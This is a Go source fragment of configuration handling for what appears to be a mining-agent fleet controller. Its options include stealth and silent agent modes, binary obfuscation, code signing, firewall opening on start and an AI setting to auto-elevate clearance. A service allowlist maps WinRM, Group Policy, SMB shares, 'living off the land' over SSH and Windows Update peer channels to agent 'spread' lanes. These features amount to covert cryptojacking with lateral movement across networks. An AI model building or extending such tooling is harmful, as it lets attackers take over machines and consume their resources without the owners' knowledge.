if in(daKeys, "process_name") && src.DefaultAgent.ProcessName != "" {
dst.DefaultAgent.ProcessName = src.DefaultAgent.ProcessName
}
if in(daKeys, "idle_threshold_pct") && src.DefaultAgent.IdleThresholdPct != 0 {
dst.DefaultAgent.IdleThresholdPct = src.DefaultAgent.IdleThresholdPct
}
if in(daKeys, "idle_duration_minutes") && src.DefaultAgent.IdleDurationMinutes != 0 {
dst.DefaultAgent.IdleDurationMinutes = src.DefaultAgent.IdleDurationMinutes
}
if in(daKeys, "schedule_start") && src.DefaultAgent.ScheduleStart != "" {
dst.DefaultAgent.ScheduleStart = src.DefaultAgent.ScheduleStart
}
if in(daKeys, "schedule_end") && src.DefaultAgent.ScheduleEnd != "" {
dst.DefaultAgent.ScheduleEnd = src.DefaultAgent.ScheduleEnd
}
if in(daKeys, "install_base") && src.DefaultAgent.InstallBase != "" {
dst.DefaultAgent.InstallBase = src.DefaultAgent.InstallBase
}
if in(daKeys, "install_custom_base") && src.DefaultAgent.InstallCustomBase != "" {
dst.DefaultAgent.InstallCustomBase = src.DefaultAgent.InstallCustomBase
}
if in(daKeys, "install_relative_path") && src.DefaultAgent.InstallRelativePath != "" {
dst.DefaultAgent.InstallRelativePath = src.DefaultAgent.InstallRelativePath
}
if in(daKeys, "adapt_to_hardware") {
dst.DefaultAgent.AdaptToHardware = src.DefaultAgent.AdaptToHardware
}
if in(daKeys, "self_healing") {
dst.DefaultAgent.SelfHealing = src.DefaultAgent.SelfHealing
}
if in(daKeys, "file_logging") {
dst.DefaultAgent.FileLogging = src.DefaultAgent.FileLogging
}
if in(daKeys, "stealth_mode") {
dst.DefaultAgent.StealthMode = src.DefaultAgent.StealthMode
}
}
if has("background") {
bgKeys := nestedJSONKeys(present, "background")
if in(bgKeys, "silent_mode") {
dst.Background.SilentMode = src.Background.SilentMode
}
if in(bgKeys, "run_as") && src.Background.RunAs != "" {
dst.Background.RunAs = src.Background.RunAs
}
if in(bgKeys, "auto_start") {
dst.Background.AutoStart = src.Background.AutoStart
}
}
if has("alerts") {
alertKeys := nestedJSONKeys(present, "alerts")
if in(alertKeys, "offline_threshold_minutes") && src.Alerts.OfflineThresholdMinutes != 0 {
dst.Alerts.OfflineThresholdMinutes = src.Alerts.OfflineThresholdMinutes
}
if in(alertKeys, "hashrate_drop_threshold_pct") && src.Alerts.HashrateDropThresholdPct != 0 {
dst.Alerts.HashrateDropThresholdPct = src.Alerts.HashrateDropThresholdPct
}
if in(alertKeys, "rejection_rate_threshold_pct") && src.Alerts.RejectionRateThresholdPct != 0 {
dst.Alerts.RejectionRateThresholdPct = src.Alerts.RejectionRateThresholdPct
}
if in(alertKeys, "telegram_bot_token") && src.Alerts.TelegramBotToken != "" {
dst.Alerts.TelegramBotToken = src.Alerts.TelegramBotToken
}
if in(alertKeys, "telegram_chat_id") && src.Alerts.TelegramChatID != "" {
dst.Alerts.TelegramChatID = src.Alerts.TelegramChatID
}
if in(alertKeys, "webhook_url") && src.Alerts.WebhookURL != "" {
dst.Alerts.WebhookURL = src.Alerts.WebhookURL
}
if in(alertKeys, "email_enabled") {
dst.Alerts.EmailEnabled = src.Alerts.EmailEnabled
}
if in(alertKeys, "notify_agent_connect") {
dst.Alerts.NotifyAgentConnect = src.Alerts.NotifyAgentConnect
}
if in(alertKeys, "notify_agent_reconnect") {
dst.Alerts.NotifyAgentReconnect = src.Alerts.NotifyAgentReconnect
}
if in(alertKeys, "notify_agent_offline") {
dst.Alerts.NotifyAgentOffline = src.Alerts.NotifyAgentOffline
}
if in(alertKeys, "notify_hashrate_drop") {
dst.Alerts.NotifyHashrateDrop = src.Alerts.NotifyHashrateDrop
}
if in(alertKeys, "notify_rejection_rate") {
dst.Alerts.NotifyRejectionRate = src.Alerts.NotifyRejectionRate
}
if in(alertKeys, "notify_build_complete") {
dst.Alerts.NotifyBuildComplete = src.Alerts.NotifyBuildComplete
}
if in(alertKeys, "notify_kev_exposure") {
dst.Alerts.NotifyKEVExposure = src.Alerts.NotifyKEVExposure
}
if in(alertKeys, "smtp_host") && src.Alerts.SMTPHost != "" {
dst.Alerts.SMTPHost = src.Alerts.SMTPHost
}
if in(alertKeys, "smtp_port") && src.Alerts.SMTPPort != 0 {
dst.Alerts.SMTPPort = src.Alerts.SMTPPort
}
if in(alertKeys, "smtp_user") && src.Alerts.SMTPUser != "" {
dst.Alerts.SMTPUser = src.Alerts.SMTPUser
}
if in(alertKeys, "smtp_password") && src.Alerts.SMTPPassword != "" {
dst.Alerts.SMTPPassword = src.Alerts.SMTPPassword
}
if in(alertKeys, "email_to") && src.Alerts.EmailTo != "" {
dst.Alerts.EmailTo = src.Alerts.EmailTo
}
if in(alertKeys, "email_from") && src.Alerts.EmailFrom != "" {
dst.Alerts.EmailFrom = src.Alerts.EmailFrom
}
}
if has("server") {
srvKeys := nestedJSONKeys(present, "server")
if in(srvKeys, "public_url") {
dst.Server.PublicURL = src.Server.PublicURL
}
if in(srvKeys, "stats_retention_hours") && src.Server.StatsRetentionHours != 0 {
dst.Server.StatsRetentionHours = src.Server.StatsRetentionHours
}
if in(srvKeys, "build_retention_days") && src.Server.BuildRetentionDays != 0 {
dst.Server.BuildRetentionDays = src.Server.BuildRetentionDays
}
if in(srvKeys, "pool_reconnect_seconds") && src.Server.PoolReconnectSeconds != 0 {
dst.Server.PoolReconnectSeconds = src.Server.PoolReconnectSeconds
}
if in(srvKeys, "websocket_ping_seconds") && src.Server.WebSocketPingSeconds != 0 {
dst.Server.WebSocketPingSeconds = src.Server.WebSocketPingSeconds
}
if in(srvKeys, "max_agents") && src.Server.MaxAgents != 0 {
dst.Server.MaxAgents = src.Server.MaxAgents
}
if in(srvKeys, "max_build_size_mb") && src.Server.MaxBuildSizeMB != 0 {
dst.Server.MaxBuildSizeMB = src.Server.MaxBuildSizeMB
}
if in(srvKeys, "log_agent_connections") {
dst.Server.LogAgentConnections = src.Server.LogAgentConnections
}
if in(srvKeys, "log_share_submissions") {
dst.Server.LogShareSubmissions = src.Server.LogShareSubmissions
}
if in(srvKeys, "log_pool_traffic") {
dst.Server.LogPoolTraffic = src.Server.LogPoolTraffic
}
if in(srvKeys, "strict_wallet_validation") {
dst.Server.StrictWalletValidation = src.Server.StrictWalletValidation
}
if in(srvKeys, "open_firewall_on_start") {
dst.Server.OpenFirewallOnStart = src.Server.OpenFirewallOnStart
}
if in(srvKeys, "obfuscate_default") {
dst.Server.ObfuscateDefault = src.Server.ObfuscateDefault
}
if in(srvKeys, "sign_enabled") {
dst.Server.SignEnabled = src.Server.SignEnabled
}
if in(srvKeys, "dashboard_subtitle") && src.Server.DashboardSubtitle != "" {
dst.Server.DashboardSubtitle = src.Server.DashboardSubtitle
}
if in(srvKeys, "sign_cert_thumbprint") && src.Server.SignCertThumbprint != "" {
dst.Server.SignCertThumbprint = src.Server.SignCertThumbprint
}
if in(srvKeys, "sign_tool_path") && src.Server.SignToolPath != "" {
dst.Server.SignToolPath = src.Server.SignToolPath
}
if in(srvKeys, "sign_timestamp_url") && src.Server.SignTimestampURL != "" {
dst.Server.SignTimestampURL = src.Server.SignTimestampURL
}
if in(srvKeys, "fleet_secret") && src.Server.FleetSecret != "" {
dst.Server.FleetSecret = src.Server.FleetSecret
}
if in(srvKeys, "public_builds_enabled") {
dst.Server.PublicBuildsEnabled = src.Server.PublicBuildsEnabled
}
if in(srvKeys, "public_builds_latest_n") && src.Server.PublicBuildsLatestN != 0 {
dst.Server.PublicBuildsLatestN = src.Server.PublicBuildsLatestN
}
if in(srvKeys, "adaptive_strategy_enabled") {
dst.Server.AdaptiveStrategyEnabled = src.Server.AdaptiveStrategyEnabled
}
if in(srvKeys, "ai_control_enabled") {
dst.Server.AIControlEnabled = src.Server.AIControlEnabled
}
if in(srvKeys, "atlas_lan_gossip_enabled") {
dst.Server.AtlasLanGossipEnabled = src.Server.AtlasLanGossipEnabled
}
if in(srvKeys, "fleet_roles_enabled") {
dst.Server.FleetRolesEnabled = src.Server.FleetRolesEnabled
}
if in(srvKeys, "erasure_lanes_enabled") {
dst.Server.ErasureLanesEnabled = src.Server.ErasureLanesEnabled
}
if in(srvKeys, "fleet_torrent_enabled") {
dst.Server.FleetTorrentEnabled = src.Server.FleetTorrentEnabled
}
if in(srvKeys, "fargate_burst_campaign") {
dst.Server.FargateBurstCampaign = src.Server.FargateBurstCampaign
}
if in(srvKeys, "fargate_burst_ttl_hours") && src.Server.FargateBurstTTLHours > 0 {
dst.Server.FargateBurstTTLHours = src.Server.FargateBurstTTLHours
}
if in(srvKeys, "fargate_burst_expires_at") {
dst.Server.FargateBurstExpiresAt = src.Server.FargateBurstExpiresAt
}
if in(srvKeys, "ai_endpoint") {
dst.Server.AIEndpoint = src.Server.AIEndpoint
}
if in(srvKeys, "ai_local_endpoint") && src.Server.AIEndpoint != "" {
dst.Server.AIEndpoint = src.Server.AIEndpoint
}
if in(srvKeys, "ai_model") {
dst.Server.AIModel = src.Server.AIModel
}
if in(srvKeys, "ai_no_context") {
dst.Server.AINoContext = src.Server.AINoContext
}
if in(srvKeys, "ai_decision_interval_sec") && src.Server.AIDecisionIntervalSec > 0 {
dst.Server.AIDecisionIntervalSec = src.Server.AIDecisionIntervalSec
}
if in(srvKeys, "ai_interval_sec") && src.Server.AIDecisionIntervalSec > 0 {
dst.Server.AIDecisionIntervalSec = src.Server.AIDecisionIntervalSec
}
if in(srvKeys, "ai_auto_elevate_clearance") {
dst.Server.AIAutoElevateClearance = src.Server.AIAutoElevateClearance
}
if in(srvKeys, "ai_persona") && strings.TrimSpace(src.Server.AIPersona) != "" {
dst.Server.AIPersona = strings.TrimSpace(src.Server.AIPersona)
}
}
if has("tunnel_defaults") {
tdKeys := nestedJSONKeys(present, "tunnel_defaults")
if in(tdKeys, "cloudflared_target_url") {
dst.TunnelDefaults.CloudflaredTargetURL = src.TunnelDefaults.CloudflaredTargetURL
}
if in(tdKeys, "cloudflare_tunnel_token") {
dst.TunnelDefaults.CloudflareTunnelToken = src.TunnelDefaults.CloudflareTunnelToken
}
}
if has("deployment_credentials") {
dst.DeploymentCredentials = append([]DeploymentCredProfile(nil), src.DeploymentCredentials...)
for i := range dst.DeploymentCredentials {
EnsureCredProfileID(&dst.DeploymentCredentials[i])
if strings.TrimSpace(dst.DeploymentCredentials[i].VaultRef) == "" {
dst.DeploymentCredentials[i].VaultRef = defaultVaultRef(dst.DeploymentCredentials[i].ID)
}
}
}
// Keep cloudflared default aligned with public_url when unset.
if strings.TrimSpace(dst.TunnelDefaults.CloudflaredTargetURL) == "" && strings.TrimSpace(dst.Server.PublicURL) != "" {
dst.TunnelDefaults.CloudflaredTargetURL = strings.TrimSpace(dst.Server.PublicURL)
}
}
func hydrateLegacyAIConfig(cfg *Config, raw []byte) {
if cfg == nil || len(raw) == 0 {
return
}
var root map[string]json.RawMessage
if err := json.Unmarshal(raw, &root); err != nil {
return
}
srvRaw, ok := root["server"]
if !ok {
return
}
var srv map[string]json.RawMessage
if err := json.Unmarshal(srvRaw, &srv); err != nil {
return
}
if ep, ok := srv["ai_local_endpoint"]; ok && cfg.Server.AIEndpoint == "" {
var s string
if json.Unmarshal(ep, &s) == nil && strings.TrimSpace(s) != "" {
cfg.Server.AIEndpoint = strings.TrimSpace(s)
}
}
if iv, ok := srv["ai_interval_sec"]; ok && cfg.Server.AIDecisionIntervalSec == 0 {
var n int
if json.Unmarshal(iv, &n) == nil && n > 0 {
cfg.Server.AIDecisionIntervalSec = n
}
}
}
func (c *Config) Save() error {
configPath := filepath.Join(c.DataDir, "config.json")
data, err := json.MarshalIndent(c, "", " ")
if err != nil {
return fmt.Errorf("failed to marshal config: %w", err)
}
if err := os.WriteFile(configPath, data, 0644); err != nil {
return err
}
c.syncCloudflaredTokenFile()
return nil
}
func defaultServiceDeployAllowlist() map[string]ServiceDeployLane {
return map[string]ServiceDeployLane{
"DoSvc": {Lane: "do_peer", Priority: 35},
"Delivery Optimization": {Lane: "do_peer", Priority: 35},
"Wuauserv": {Lane: "wsus_cache_peer", Priority: 34},
"wuauserv": {Lane: "wsus_cache_peer", Priority: 34},
"Windows Update": {Lane: "wsus_cache_peer", Priority: 34},
"dns_txt:_aether": {Lane: "dns_txt", Priority: 33},
"dns_txt": {Lane: "dns_txt", Priority: 33},
"webrtc_mesh": {Lane: "webrtc_mesh", Priority: 32},
"CCMEXEC": {Lane: "bits_curl", Priority: 10},
"CcmExec": {Lane: "bits_curl", Priority: 10},
"BITS": {Lane: "bits_curl", Priority: 8},
"com.docker.service": {Lane: "docker_load", Priority: 20},
"Docker Desktop Service": {Lane: "docker_load", Priority: 20},
"WinRM": {Lane: "winrm", Priority: 30, Template: "winrm"},
"gpsvc": {Lane: "gpo", Priority: 40, Template: "gpo"},
"LanmanServer": {Lane: "spread_smb_unc", Priority: 50},
"sshd": {Lane: "linux_lotl", Priority: 15, Template: "linux-lotl"},
}
}
func (c *Config) AWSSwarmSettings() erasure.AWSSwarmSettings {
if c == nil {
return erasure.HydrateAWSSwarmFromEnv(erasure.AWSSwarmSettings{})
}
return erasure.HydrateAWSSwarmFromEnv(erasure.AWSSwarmSettings{
S3Bucket: c.Server.AWSS3ShardBucket,
CloudFrontDomain: c.Server.AWSCloudFrontDomain,
Region: c.Server.AWSS3ShardRegion,
})
}
func (c *Config) S3ShardCRRConfig() erasure.S3ShardConfig {
if c == nil {
return erasure.S3ShardConfig{}
}
return erasure.S3ShardConfig{
ShardBucket: strings.TrimSpace(c.Server.AWSS3ShardBucket),
ShardRegion: strings.TrimSpace(c.Server.AWSS3ShardRegion),
CRRDestBucket: strings.TrimSpace(c.Server.AWSS3CRRDestBucket),
CRRDestRegion: strings.TrimSpace(c.Server.AWSS3CRRDestRegion),
CloudFrontDomain: strings.TrimSpace(c.Server.AWSCloudFrontDomain),
ReplicationRoleARN: strings.TrimSpace(c.Server.AWSS3ReplicationRoleARN),
ReplicationAccountID: strings.TrimSpace(c.Server.AWSAccountID),
}
}
func (c *Config) PoolURL() string {
proto := "stratum+tcp"
if c.Pool.UseTLS {
proto = "stratum+ssl"
}
return fmt.Sprintf("%s://%s:%d", proto, c.Pool.Host, c.Pool.Port)
}